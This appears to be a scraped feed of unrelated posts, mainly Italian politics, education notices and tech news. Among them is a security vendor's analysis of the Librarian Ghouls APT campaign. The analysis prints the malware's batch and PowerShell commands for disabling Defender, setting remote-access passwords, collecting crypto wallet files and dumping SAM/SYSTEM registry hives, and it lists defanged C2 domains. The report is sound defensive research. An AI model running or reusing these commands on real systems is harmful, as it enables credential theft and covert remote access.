Rifondazione: Israele ferma i pacifisti con un atto di pirateria
I governanti di Tel Aviv lo avevano detto "bloccheremo la nave dei selfie" insultando così la piccola imbarcazione Madleen, della Freedom Flottilla che, con 12Rifondazione Comunista
È disponibile il nuovo numero della newsletter del Ministero dell’Istruzione e del Merito.
🔶 #Maturità2025, online le commissioni d'Esame. Saranno 524.
Ministero dell'Istruzione
#NotiziePerLaScuola È disponibile il nuovo numero della newsletter del Ministero dell’Istruzione e del Merito. 🔶 #Maturità2025, online le commissioni d'Esame. Saranno 524.Telegram
Ministero dell'Istruzione
#NoiSiamoLeScuole questa settimana è dedicato all’IC “Achille Pace” e all’IIS “Ettore Majorana” di Termoli (CB), al Liceo scientifico dell’Istituto Omnicomprensivo “Mattioli-D’Acquisto” di San Salvo (CH) e all’IIS “Alessandrini” di Montesilvano (PE),…Telegram
Se avete dei dubbi sugli #EsamidiStato2025, scriveteci nei commenti le vostre domande e nei prossimi giorni pubblicheremo le risposte!
Continuate a seguirci per aggiornamenti sulla #Maturità2025 e taggateci nei vostri post e nelle vostre stories con…
Ministero dell'Istruzione
Se avete dei dubbi sugli #EsamidiStato2025, scriveteci nei commenti le vostre domande e nei prossimi giorni pubblicheremo le risposte! Continuate a seguirci per aggiornamenti sulla #Maturità2025 e taggateci nei vostri post e nelle vostre stories con…Telegram
Ministero dell'Istruzione
🌱Il #5giugno si celebra la Giornata Mondiale dell’Ambiente, istituita nel 1972 dall’Assemblea Generale delle Nazioni Unite per sensibilizzare sui temi della salvaguardia del nostro ambiente naturale.Telegram
📚Vi state preparando agli #EsamidiStato2025?
🗓️Qui trovate le date da segnare sul calendario!
Continuate a seguirci per aggiornamenti sulla #Maturità2025 e taggateci nei vostri post e nelle vostre stories con l’hashtag #MIMaturo.
Ministero dell'Istruzione
📚Vi state preparando agli #EsamidiStato2025? 🗓️Qui trovate le date da segnare sul calendario! Continuate a seguirci per aggiornamenti sulla #Maturità2025 e taggateci nei vostri post e nelle vostre stories con l’hashtag #MIMaturo.Telegram
Sleep with one eye open: how Librarian Ghouls steal data by night
Introduction
Librarian Ghouls, also known as “Rare Werewolf” and “Rezet”, is an APT group that targets entities in Russia and the CIS. Other security vendors are also monitoring this APT and releasing analyses of its campaigns. The group has remained active through May 2025, consistently targeting Russian companies.
A distinctive feature of this threat is that the attackers favor using legitimate third-party software over developing their own malicious binaries. The malicious functionality of the campaign described in this article is implemented through command files and PowerShell scripts. The attackers establish remote access to the victim’s device, steal credentials, and deploy an XMRig crypto miner in the system.
Our research has uncovered new tools within this APT group’s arsenal, which we will elaborate on in this article.
Technical details
Initial infection vector
Attacks by Librarian Ghouls continued almost unabated throughout 2024. We observed a slight decline in the group’s activity in December, followed immediately by a new wave of attacks, which is ongoing. The group’s primary initial infection vector involves targeted phishing emails that contain password-protected archives with executable files inside. These malicious emails are typically disguised as messages from legitimate organizations, containing attachments that appear to be official documents. The infection process is as follows: the victim opens the attached archive (the password is usually provided in the email body), extracts the files inside, and opens them.
We managed to get hold of a malicious implant from an archive disguised as a payment order. The sample is a self-extracting installer made with the Smart Install Maker utility for Windows.
The installer contains three files: an archive, a configuration file, and an empty file irrelevant for our analysis. They are later renamed into data.cab
, installer.config
and runtime.cab
respectively.
The primary malicious logic resides in the installer’s configuration file. It uses a variety of registry modification commands to automatically deploy the legitimate window manager, 4t Tray Minimizer, onto the system. This software can minimize running applications to the system tray, allowing attackers to obscure their presence on the compromised system.
Once 4t Tray Minimizer is installed, the installer pulls three files from data.cab
and puts them into the C:\Intel
directory, specifically at:
File | Name when archived | Path on the infected system |
Legitimate PDF as a decoy | 0 | \Intel\Payment Order # 131.pdf |
Legitimate curl utility executable | 1 | \Intel\curl.exe |
LNK file | 2 | \Intel\AnyDesk\bat.lnk |
The PDF decoy resembles an order to pay a minor amount:
PDF document imitating a payment order
rezet.cmd
Once data.cab
is unpacked, the installer generates and executes a rezet.cmd
command file, which then reaches out to the C2 server downdown[.]ru
, hosting six files with the JPG extension. rezet.cmd
downloads these to C:\Intel
, changing their file extensions to: driver.exe
, blat.exe
, svchost.exe
, Trays.rar
, wol.ps1
, and dc.exe
.
driver.exe
is a customized build ofrar.exe
, the console version of WinRAR 3.80. This version has had user dialog strings removed: it can execute commands but provides no meaningful output to the console.blat.exe
is Blat, a legitimate utility for sending email messages and files via SMTP. Attackers use this to send data they steal to an email server they control.svchost.exe
is the remote access application AnyDesk. Attackers use this to remotely control the compromised machine.dc.exe
is Defender Control, which allows disabling Windows Defender.
After downloading the files, the script uses the specified password and the driver.exe
console utility to extract Trays.rar
into the same C:\Intel
directory and run the unpacked Trays.lnk
. This shortcut allows starting 4t Tray Minimizer minimized to the tray.
Next, the script installs AnyDesk on the compromised device and downloads a bat.bat
file from the C2 server to C:\Intel\AnyDesk
. Finally, rezet.cmd
runs bat.lnk
, which was previously extracted from data.cab
.
bat.bat
Opening the bat.lnk
shortcut runs the bat.bat
batch file, which executes a series of malicious actions.
Disabling security measures and a scheduled task
First, the BAT file sets the password QWERTY1234566
for AnyDesk, which allows the attackers to connect to the victim’s device without asking for confirmation.
Next, the script uses the previously downloaded Defender Control (dc.exe
) application to disable Windows Defender.
To verify that the victim’s computer is on and available for remote connections, the batch file runs the powercfg
utility six times with different parameters. This utility controls the local machine’s power settings.
Next, bat.bat
runs the schtasks
utility to create a ShutdownAt5AM
scheduler task, which shuts down the victim’s PC every day at 5 AM as the name suggests. It is our assessment that the attackers use this technique to cover their tracks so that the user remains unaware that their device has been hijacked.
echo QWERTY1234566 | AnyDesk.exe --set-password _unattended_access
%SYSTEMDRIVE%\Intel\dc.exe /D
powercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0
powercfg -change -standby-timeout-ac 0
powercfg -change -hibernate-timeout-ac 0
powercfg -h off
powercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
schtasks /create /tn "ShutdownAt5AM" /tr "shutdown /s /f /t 0" /sc daily /st 05:00
Disabling security measures and the power management configuration in bat.bat
Wakeup script and data theft
Next, the batch file executes the wol.ps1
script via PowerShell.
$Action = New-ScheduledTaskAction -Execute "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
$Trigger = New-ScheduledTaskTrigger -Daily -At "01:00AM"
$Principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
# Creating task settings
$TaskSettings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -WakeToRun
# Registering task in Task Scheduler
Register-ScheduledTask -Action $Action -Principal $Principal -Trigger $Trigger -TaskName "WakeUpAndLaunchEdge" -Settings $TaskSettings -Force
Contents of the “wol.ps1” script
This script launches Microsoft Edge every day at 1 AM. We found no evidence of msedge.exe
being replaced or compromised, leading us to believe it is a genuine Microsoft Edge executable. This daily browser activation wakes the victim’s computer, giving attackers a four-hour window to establish unauthorized remote access with AnyDesk before the scheduled task shuts the machine down at 5 AM.
Following the execution of the PowerShell script, bat.bat
removes the curl utility, the Trays.rar
archive, and the AnyDesk installer. The attackers no longer need these components: at this stage of the infection, all necessary malicious files and third-party utilities have been downloaded with curl, Trays.rar
has been unpacked, and AnyDesk has been installed on the device.
After that, the batch file sets environment variables for Blat. These variables contain, among other things, the email addresses where the victim’s data will be sent and the passwords for these accounts.
The next step is to collect information stored on the device that is of interest to the attackers:
- Cryptocurrency wallet credentials and seed phrases
- Dumps of the
HKLM\SAM
andHKLM\SYSTEM
registry keys made withreg.exe
%SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*парол*.* /y
%SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*карт*.* /y
%SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*кошельк*.* /y
%SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\wallet.dat /y
%SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*wallet*.doc* /y
%SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*wallet*.txt /y
%SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*seed*.* /y
%SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\keystore.json /y
%SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*bitcoin*.* /y
%SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*usdt*.* /y
%SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*ethereum*.* /y
reg save hklm\sam %SYSTEMDRIVE%\Intel\sam.backup
reg save hklm\system %SYSTEMDRIVE%\Intel\system.backup
Data collection by bat.bat
The BAT file uses driver.exe
to pack data it has collected into two separate password-protected archives. Then, the script runs blat.exe
to send the victim’s data and AnyDesk configuration files to the attackers via SMTP.
Miner installation and self-deletion
Next, bat.bat
deletes the files generated during the attack from the C:\Intel\
folder and installs a crypto miner on the compromised system. To do this, the script creates a bm.json
configuration file containing the mining pool address and the attackers’ identifier, and then downloads install.exe
from hxxp://bmapps[.]org/bmcontrol/win64/Install.exe
.
install.exe
is an installer that checks for the JSON configuration file and the bmcontrol.exe
process in the system. If the process is detected, the installer terminates it.
Then, install.exe
downloads an archive with mining tools from hxxps://bmapps[.]org/bmcontrol/win64/app-1.4.zip
.
The archive contains the following files:
_install.exe
: a new version of the installer. While the samples in the attacks we analyzed were identical, we suspect the attackers have a scenario for updating the malware.bmcontrol.exe
: miner controllerrun.exe
,stop.cmd
,uninstall.cmd
: tools for starting, stopping, and removing the controller- XMRig miner
Depending on the parameters of the JSON file, the unmodified original installer file is used, or _install.exe
is renamed to install.exe
and run. After that, the installer adds run.exe
to autorun. This utility checks for an already running bmcontrol.exe
controller on the compromised system, and if it doesn’t find one, runs it from the downloaded archive.
Once running, bmcontrol.exe
creates two processes: master
and worker
. The master
process launches and constantly monitors the worker
, and also restarts it if the latter quits unexpectedly. In addition, the master
passes the JSON configuration file to the worker
process.
Before launching the XMRig miner, the worker
process collects the following system information:
- Available CPU cores
- Available RAM
- GPU
This data is used to configure the miner on the compromised device and also sent to the attackers’ server. While XMRig is running, the worker
maintains a connection to the mining pool, sending a request every 60 seconds.
After installing the miner on the system, bat.bat
removes itself from the victim’s device.
Legitimate software utilized by the attackers
It is a common technique to leverage third-party legitimate software for malicious purposes (T1588.002), which makes detecting and attributing APT activity more difficult. We have seen this pattern in current campaigns by various APT groups, in particular in the Likho cluster.
Beyond the utilities discussed above, we also identified the following software in Librarian Ghouls attacks:
- Mipko Personal Monitor: a DLP system that the attackers use to monitor the victim. The application can collect screenshots and record keystrokes among other things.
- WebBrowserPassView: a password recovery utility that can extract passwords stored in web browsers. The attackers use this to steal victims’ credentials.
- ngrok: a global reverse proxy that secures and accelerates network services. Used by the attackers to connect to target machines.
- NirCmd: a legitimate utility that facilitates various OS tasks without a visible user interface. The attackers use this to covertly run scripts and executables.
Phishing campaign
Our investigation revealed several domains that we assess with low confidence to be associated with the ongoing Librarian Ghouls campaign. At the time of the investigation, some of them remained active, including users-mail[.]ru
and deauthorization[.]online
. These domains hosted phishing pages, generated with PHP scripts and designed to harvest credentials for the mail.ru
email service.
Example of a phishing page associated with the APT campaign
Infrastructure
The implant detailed in this article communicated with the command-and-control servers downdown[.]ru
and dragonfires[.]ru
. Both resolve to the IP address 185.125.51[.]5.
Our analysis of the attackers’ infrastructure revealed a notable characteristic: several malicious web servers associated with this campaign had directory listing enabled, allowing us to inspect files they stored.
Directory listing on a malicious server
Victims
Our telemetry indicated that, during the investigation period, hundreds of Russian users fell victim to this campaign. It primarily focuses on industrial enterprises, with engineering schools also being a target of interest. Furthermore, the attacks described also impacted users in Belarus and Kazakhstan.
The phishing emails are notably composed in Russian and include archives with Russian filenames, along with Russian-language decoy documents. This suggests that the primary targets of this campaign are likely based in Russia or speak Russian.
About the attackers
Librarian Ghouls APT exhibits traits commonly associated with hacktivist groups, such as the use of self-extracting archives and a reliance on legitimate, third-party utilities rather than custom-built malware binary modules.
Since the beginning of the current campaign in December 2024, we have seen frequent updates to the implants, which vary in configuration files and the bundled sets of legitimate utilities. At the time of publishing this, our data encompassed over 100 malicious files connected to this campaign.
Takeaways
At the time of this report’s release, the Librarian Ghouls APT campaign described in it is still active, as evidenced by attacks we observed in May 2025. Consistent with previous activity, the attackers leverage third-party legitimate utilities rather than developing custom tools. All of the malicious functionality still relies on installer, command, and PowerShell scripts. We observe that the attackers are continuously refining their tactics, encompassing not only data exfiltration but also the deployment of remote access tools and the use of phishing sites for email account compromise. We constantly monitor this threat actor and will continue to share up-to-date information about its activity.
Indicators of compromise
* Additional indicators of compromise and a YARA rule for detecting Librarian Ghouls activity are available to customers of our APT Intelligence Reporting service. Contact intelreports@kaspersky.com for more details.
Implants
d8edd46220059541ff397f74bfd271336dda702c6b1869e8a081c71f595a9e68
2f3d67740bb7587ff70cc7319e9fe5c517c0e55345bf53e01b3019e415ff098b
de998bd26ea326e610cc70654499cebfd594cc973438ac421e4c7e1f3b887617
785a5b92bb8c9dbf52cfda1b28f0ac7db8ead4ec3a37cfd6470605d945ade40e
c79413ef4088b3a39fe8c7d68d2639cc69f88b10429e59dd0b4177f6b2a92351
53fd5984c4f6551b2c1059835ea9ca6d0342d886ba7034835db2a1dd3f8f5b04
Implant configuration files
f8c80bbecbfb38f252943ee6beec98edc93cd734ec70ccd2565ab1c4db5f072f
4d590a9640093bbda21597233b400b037278366660ba2c3128795bc85d35be72
1b409644e86559e56add5a65552785750cd36d60745afde448cce7f6f3f09a06
7c4a99382dbbd7b5aaa62af0ccff68aecdde2319560bbfdaf76132b0506ab68a
702bf51811281aad78e6ca767586eba4b4c3a43743f8b8e56bb93bc349cb6090
311ec9208f5fe3f22733fca1e6388ea9c0327be0836c955d2cf6a22317d4bdca
Malicious archive attachments
fd58900ea22b38bad2ef3d1b8b74f5c7023b8ca8a5b69f88cfbfe28b2c585baf
e6ea6ce923f2eee0cd56a0874e4a0ca467711b889553259a995df686bd35de86
6954eaed33a9d0cf7e298778ec82d31bfbdf40c813c6ac837352ce676793db74
Malicious BAT files
e880a1bb0e7d422b78a54b35b3f53e348ab27425f1c561db120c0411da5c1ce9
c353a708edfd0f77a486af66e407f7b78583394d7b5f994cd8d2e6e263d25968
636d4f1e3dcf0332a815ce3f526a02df3c4ef2890a74521d05d6050917596748
c5eeec72b5e6d0e84ff91dfdcbefbbbf441878780f887febb0caf3cbe882ec72
8bdb8df5677a11348f5787ece3c7c94824b83ab3f31f40e361e600576909b073
2af2841bf925ed1875faadcbb0ef316c641e1dcdb61d1fbf80c3443c2fc9454f
Decoy documents
cab1c4c675f1d996b659bab1ddb38af365190e450dec3d195461e4e4ccf1c286
dfac7cd8d041a53405cc37a44f100f6f862ed2d930e251f4bf22f10235db4bb3
977054802de7b583a38e0524feefa7356c47c53dd49de8c3d533e7689095f9ac
65f7c3e16598a8cb279b86eaeda32cb7a685801ed07d36c66ff83742d41cd415
a6ff418f0db461536cff41e9c7e5dba3ee3b405541519820db8a52b6d818a01e
6c86608893463968bfda0969aa1e6401411c0882662f3e70c1ac195ee7bd1510
Malicious PS1 scripts
8b6afbf73a9b98eec01d8510815a044cd036743b64fef955385cbca80ae94f15
7d6b598eaf19ea8a571b4bd79fd6ff7928388b565d7814b809d2f7fdedc23a0a
01793e6f0d5241b33f07a3f9ad34e40e056a514c5d23e14dc491cee60076dc5a
Miner installer (install.exe)
649ee35ad29945e8dd6511192483dddfdfe516a1312de5e0bd17fdd0a258c27f
Miner controller (bmcontrol.exe)
9cce3eaae0be9b196017cb6daf49dd56146016f936b66527320f754f179c615f
Miner launcher (run.exe)
d7bcab5acc8428026e1afd694fb179c5cbb74c5be651cd74e996c2914fb2b839
Legitimate software
AnyDesk
Blat
curl
Defender Control
Customized RAR 3.80
AnyDesk
Mipko Personal Monitor
ngrok
NirCmd
4t Tray Minimizer
WebBrowserPassView
Librarian Ghouls malicious domains
vniir[.]space
vniir[.]nl
hostingforme[.]nl
mail-cheker[.]nl
unifikator[.]ru
outinfo[.]ru
anyhostings[.]ru
center-mail[.]ru
redaction-voenmeh[.]info
acountservices[.]nl
accouts-verification[.]ru
office-email[.]ru
email-office[.]ru
email-informer[.]ru
office-account[.]ru
deauthorization[.]online
anyinfos[.]ru
verifikations[.]ru
claud-mail[.]ru
users-mail[.]ru
detectis[.]ru
supersuit[.]site
downdown[.]ru
dragonfires[.]ru
bmapps[.]org
The internal battle of digital antitrust
IT'S MONDAY, AND THIS IS DIGITAL POLITICS. I'm Mark Scott, and will be making a flying visit to Brussels this week. If you're around and want to grab coffee on June 11, drop me a line here. My colleagues are holding a webinar on June 12 about the upcoming United Nations Internet Governance Forum. You watch along here at 9am ET / 3pm CET.
— We're entering a new era of digital competition enforcement that pits Big Tech companies' vested interests against each other.
— The traditional approach to tackling foreign interference is woefully out of date. It's time for a rethink.
— Europe's decade-long push to combat state-backed online disinformation and cyber attacks.
Let's get started:
Texas’ Right to Repair Bill is a Signature Away From Becoming Law
In what could be a big step forward for consumer rights, the Texas Senate recently unanimously voted to pass HB 2963, which references the “Diagnosis, maintenance, and repair of certain digital electronic equipment”. If signed by the governor, this would make Texas the ninth US state to enact such a law, and the seventh pertaining to consumer electronics. Interestingly, this bill saw anti-parts pairing language added, which is something that got stripped from the Oregon bill.
Much like other Right to Repair bills, HB 2963 would require manufacturers to make spare parts, documentation and repair tools available to both consumers and independent repair shops. If signed, the act would take effect in September of 2026. Included in the bill are provisions to prevent overcharging for the provided parts and documentation.
As for how useful this is going to be for consumers, [Louis Rossmann] had a read of the bill and gave his typically eloquent thoughts. The tl;dw is that while there is a lot of stuff to like, this bill leaves open potentially massive loopholes (e.g. assemblies vs parts), while also carving out massive exemptions, which leaves owners of game consoles, boats, cars, tractors, home appliances, etc. stranded with no new options.
youtube.com/embed/C_ohgeWKcOY?…
Nintendo Switch 2 Teardown, Let’s A-Go!
A new console challenger has appeared, and it goes by the name Nintendo Switch 2. The company’s latest iteration of the home console portable hybrid initially showed promise by featuring a large 1080p display, though very little official footage of the handheld existed prior to the device’s global release last week. However, thanks to a teardown video from [TronicsFix], we’ve got a little more insight into the hardware.
The technical specifications of this new console have been speculated on for the last handful of years. We now know NVIDIA is again providing the main silicon in the form of a custom 8x ARM Cortex A78C processor. Keeping the system powered is a 5220 mAh lithium ion battery that according to [TronicsFix] is held in with some seriously strong adhesive.
On the plus side for repairability, the onboard microphone and headphone jack are each attached by their own ribbon cable to the motherboard. The magnetic controller interfaces are also modular in design as they may one day prove to be a point of failure from repeated detachment. Speaking of which, [TronicsFix] also took apart the new version of the Joy-Con controller that ships with the system.
Arguably the biggest pain point for owners of the original Nintendo Switch was the reliability of the analog sticks on the diminutive controllers. There were widespread reports of “stick drift” that caused players to lose control as onscreen avatars would lazily move in one direction without player input. For the Switch 2, the Joy-Con controllers feature roughly the same number of dome switch buttons as well as haptic feedback motors. The analog sticks are larger in size on the outside, but feature the same general wiper/resistor design of the original. Many will cry foul of the continued use of conventional analog stick design in favor of hall effect sensors, but only time will tell if the Nintendo Switch 2 will repeat history.
youtube.com/embed/TaNmhUKtgzs?…
Exploit RCE per SonicWall SRA 4600 in vendita a 60.000 dollari: allarme sicurezza per CVE-2025-2170
Un Threat actor noto con lo pseudonimo skart7 ha recentemente pubblicato sul forum underground chiuso Exploit un annuncio per la vendita di un exploit pre-auth RCE che colpisce i dispositivi SonicWall SRA 4600.
L’exploit consente l’esecuzione di codice arbitrario da remoto (RCE) senza autenticazione, rendendolo estremamente pericoloso per le organizzazioni che utilizzano questi dispositivi per l’accesso remoto.
Secondo quanto riportato nel post, l’exploit colpisce versioni firmware precedenti alla 9.0.0.10 o 10.2.0.7. Il venditore dichiara che l’exploit è completamente affidabile, compatibile con le configurazioni di default e non richiede alcuna interazione da parte dell’utente.
Questa vulnerabilità è coerente con quanto riportato nel bollettino ufficiale SonicWall relativo alla CVE-2025-2170, che descrive una falla critica nei dispositivi SMA1000 (di cui SRA 4600 è parte della stessa famiglia legacy). La vulnerabilità consente a un attaccante remoto non autenticato di eseguire comandi arbitrari sfruttando una debolezza nell’interfaccia di gestione.
- CVE: CVE-2025-2170
- CVSS: 9.8 (Critico)
- Tipo: Remote Code Execution (pre-auth)
- Dispositivi affetti: SonicWall SRA 4600, SMA1000
- Patch disponibile: Sì, tramite aggiornamento firmware
Il profilo dell’attore: skart7
L’utente skart7 non è nuovo alla scena underground. Nell’ultimo periodo ha pubblicato diversi exploit :
- SonicWall SRA 4600 – RCE pre-auth, root access, 60.000 USD
- TerraMaster NAS – RCE pre-auth, root access, compatibile con tutte le versioni 4.x e 5.x
- Cisco ISE – RCE pre-auth, root access, nessuna interazione richiesta
Tutti gli annunci condividono lo stesso TOX ID e sessione, suggerendo un singolo attore o gruppo ben strutturato. Le descrizioni sono tecnicamente dettagliate, e l’attore accetta transazioni tramite escrow del forum, una pratica che rafforza la sua reputazione come venditore affidabile nel contesto underground.
Le Tattiche, Tecniche e Procedure (TTPs) si basano sullo sfruttamento di vulnerabilità RCE pre-auth su dispositivi esposti pubblicamente. Raccomandiamo di applicare quanto prima le patch ufficiali SonicWall per i dispositivi SRA/SMA, i Firmware aggiornati sono disponibili sul portale ufficiale SonicWall. Isolare i dispositivi di accesso remoto dal resto della rete interna tramite segmentazione e implementare sistemi di IDS/IPS per rilevare attività anomale o tentativi di exploit. Inoltre, limitare l’accesso all’interfaccia di gestione solo da IP autorizzati.
La vendita di exploit RCE pre-auth da parte di attori come skart7 rappresenta una minaccia concreta e immediata. La combinazione di vulnerabilità critiche, dispositivi esposti e attori motivati economicamente crea un contesto ad alto rischio. Le organizzazioni devono agire proattivamente per mitigare queste minacce, aggiornando i sistemi e rafforzando le difese perimetrali.
L'articolo Exploit RCE per SonicWall SRA 4600 in vendita a 60.000 dollari: allarme sicurezza per CVE-2025-2170 proviene da il blog della sicurezza informatica.
Difesa, l’industria necessaria
@Politica interna, europea e internazionale
9 GIUGNO 2025, ORE 11:00, FONDAZIONE LUIGI EINAUDI, Via della Conciliazione 10, Roma Interverranno Prof. Alberto Pagani, illustrazione del paper “Difesa, l’industria necessaria” Alessandra Ghisleri, esposizione del sondaggio “Gli italianie la Difesa” Si confronteranno On. Guido Crosetto, Ministro della Difesa On. Lorenzo Guerini, Presidente
Politica interna, europea e internazionale reshared this.
Femizide: „Unverantwortlich, die Risikobewertung einem Algorithmus zu überlassen“
Referendum 8 e 9 giugno 2025, i risultati: la diretta live. Urne chiuse, al via lo spoglio. Il quorum non è stato raggiunto, affluenza sotto il 30%. Fazzolari: “Governo ne esce più rafforzato”
@Politica interna, europea e internazionale
Si sono chiuse le urne in occasione del referendum dell’8 e 9 giugno 2025: cinque i quesiti proposti su cui sono stati chiamati gli italiani a esprimersi, quattro
Politica interna, europea e internazionale reshared this.
«L’operazione ragnatela ha cambiato la guerra. Il nucleare russo è fragile»
Ecco il vero impatto dell’attacco a sorpresa sui bombardieri russi in Siberia: a detta dell’analista Kateryna Bondar «ha compromesso la capacità ... Scopri di più!Vincenzo Leone (Domani)
Davide contro Golia: il mostro è stato abbattuto.
@Privacy Pride
Il post completo di Christian Bernieri è sul suo blog: garantepiracy.it/blog/davidego…
Golia (lo IAB) è un mostro gigantesco che si nutre di impunità, di "too big to fail", di rassegnazione perché tanto "lo fanno tutti" e di "è lo standard di mercato" ed è costantemente rinvigorito da "ma tanto sanno già tutto di noi". Ultimamente, leggendo
reshared this
La Danimarca promuoverà la limitazione dell’accesso dei minori ai social media in un vertice con i ministri dell’UE
L'articolo proviene da #Euractiv Italia ed è stato ricondiviso sulla comunità Lemmy @Intelligenza Artificiale
La Danimarca, che assumerà la presidenza di turno del Consiglio dell’UE il 1° luglio, intende
Chris reshared this.
Perché c’è casino sullo Spid
L'articolo proviene da #StartMag e viene ricondiviso sulla comunità Lemmy @Informatica (Italy e non Italy 😁)
I 40 milioni che l'esecutivo aveva promesso ai gestori per il mantenimento dello Spid, servizio che per le parti private si è rivelato ben poco profittevole, sono rimasti incagliati. Aruba e Infocert hanno iniziato a rivalersi sui propri utenti. Il governo non vuole mantenere
Informatica (Italy e non Italy 😁) reshared this.
Informa Pirata likes this.
MERGE-it 2025, a Verona la conferenza delle comunità per le libertà digitali in Italia - Ecco il comunicato stampa
La quarta edizione della conferenza @MERGE-it, l'incontro biennale delle comunità italiane per le libertà digitali, che riunisce associazioni, gruppi informali, aziende, professionisti e pubbliche amministrazioni, torna a Verona dal 20 al 22 giugno 2025, nella sede di 311 Verona, presso la Fondazione Edulife.
L'evento è senza scopo di lucro, ad accesso gratuito ed aperto a tutti. Ci sarà un rinfresco sia di venerdì che di sabato da poter prenotare online registrandosi con un apposito biglietto online (sempre gratuito).
Il programma e la registrazione e l'indirizzo sono disponibili sul sito Merge-IT
L’evento prevede oltre 25 speaker, una tavola rotonda, momenti di scambio di idee e dialogo fra le diverse associazioni e organizzazioni che promuovono le libertà e la sovranità digitale. Sarà un'occasione per incontrarsi, discutere, confrontarsi e creare connessioni attorno al software libero, l'open source, gli standard aperti, i dati aperti e, più in generale, una tecnologia etica grazie alle licenze copyright "libere" e alla cultura libera.
“In Italia si parla ancora troppo poco di sovranità digitale, di indipendenza dalle big tech e di come il software libero e gli standard aperti siano uno strumento decisivo per raggiungerla. Per questo ho molto apprezzato la scelta di focalizzare l'edizione 2025 di MERGE-it su questo argomento e sarò lieto di raccontare quello che sta succedendo a Bruxelles e in altri paesi europei”
Ha commentato il relatore sul tema "EuroStack", Vittorio Bertola, Head of Policy & Innovation di Open-Xchange.
Alcune delle presentazioni:
Modelli di sviluppo sostenibili per videogiochi didattici (con Luanti)
L'uso di Wikidata per analizzare dati pubblici, come la lista dei cardinali del conclave
I 20 anni di Open Document Format (ODF), il formato standard aperto ISO/IEC
L'anteprima del sistema operativo italiano Ufficio Zero Linux OS Educational
L'esperienza del Südtirol nel rilascio di dati aperti per il trasporto pubblico
Costruire l'alternativa alle big tech con EuroStack
I 25 anni della conferenza Linux Day in Italia
Si parlerà anche di Mastodon e del "fediverso", la rete di social network più etica, più sostenibile, decentralizzata e senza pubblicità, anche per quanto riguarda le pubbliche amministrazioni.
L'organizzazione della conferenza MERGE-it nasce dalla collaborazione tra le comunità per le libertà digitali in Italia. L'approccio adottato è quello della "do-ocracy", tipico del mondo open source, dove sono i partecipanti stessi a prendere le decisioni sulla base di ciò che è possibile fare individualmente, con un confronto pubblico, continuo e trasparente sulle attività.
L'evento è finanziato grazie alle donazioni delle organizzazioni partecipanti, fra cui con il contributo di Wikimedia Italia, Italian Linux Society e Fondazione Edulife.
Contatti Stampa
Telefono: +39 348 702 7731 (Valerio Bozzolan - referente - SMS o chiamata)
Email: info@merge-it.net
Sito Web: merge-it.net/2025/
Chat: t.me/mergeit_official
Account social su Mastodon: @MERGE-it
#mergeit2025 #mergeit25 #mergeit
MERGE-it 2025
In Italia esistono tante realtà che si occupano di libertà digitali, sotto molti aspetti ed in molti modi: associazioni, gruppi informali, aziende, professionisti e pubbliche amministrazioni.merge-it.net
reshared this
Workshop di attivazione sindacale nel settore informatico. Incontro alla Casa del Parco in Caffarella il 12 giugno dalle ore 19
Nel tuo luogo di lavoro non c'è rappresentanza sindacale? Sai come attivarla?
Non sai qual è la differenza tra RSA e RSU?
Lo sapevi che hai diritto a ore retribuite per fare assemblea sindacale?
Il 12 giugno dalle ore 19 alla Casa del Parco in Caffarella si terrà il primo appuntamento formativo organizzato da @Tech Workers Coalition Italia (TWC) Roma, sezione cittadina dell'organizzazione internazionale alt-labour che si propone di migliorare le condizioni delle lavoratrici e dei lavoratori del settore tecnologico.Siamo programmatori, ingegneri, sistemisti, grafici, copywriter, analisti software. Insieme possiamo cambiare il modo in cui (non) funziona l'industria tecnologica. Abbiamo questioni importanti da affrontare come body rental e partite Iva, smart working e orari di lavoro, adeguamenti all'inflazione e gender pay gap, ruolo delle Rsu e Rsa, diritto alla disconnessione e reperibilità, rinnovi contrattuali nazionali (Ccnl) e aziendali, vertenze in corso, presidi e scioperi.
Lavoriamo tutti i giorni con la tecnologia, possiamo quindi anche utilizzarla per coordinarci e organizzarci. L'appuntamento di formazione sindacale sarà un'occasione per conoscerci, parlare dei problemi e acquisire competenze sui nostri diritti per migliorare la nostra condizione lavorativa.
Ci vediamo il 12 giugno dalle ore 19 alla Casa del Parco in Caffarella!
E' raggiungibile a piedi dalla Metro A fermata Colli Albani.
reshared this
Abu Shabab, il predone di aiuti che Israele arma contro Hamas
@Notizie dall'Italia e dal mondo
Ladro e trafficante fuggito di prigione, viene da una lunga storia di beduini collaborazionisti
L'articolo Abu Shabab, il predone di aiuti che Israele arma contro Hamas pagineesteri.it/2025/06/09/med…
Notizie dall'Italia e dal mondo reshared this.
freezonemagazine.com/articoli/…
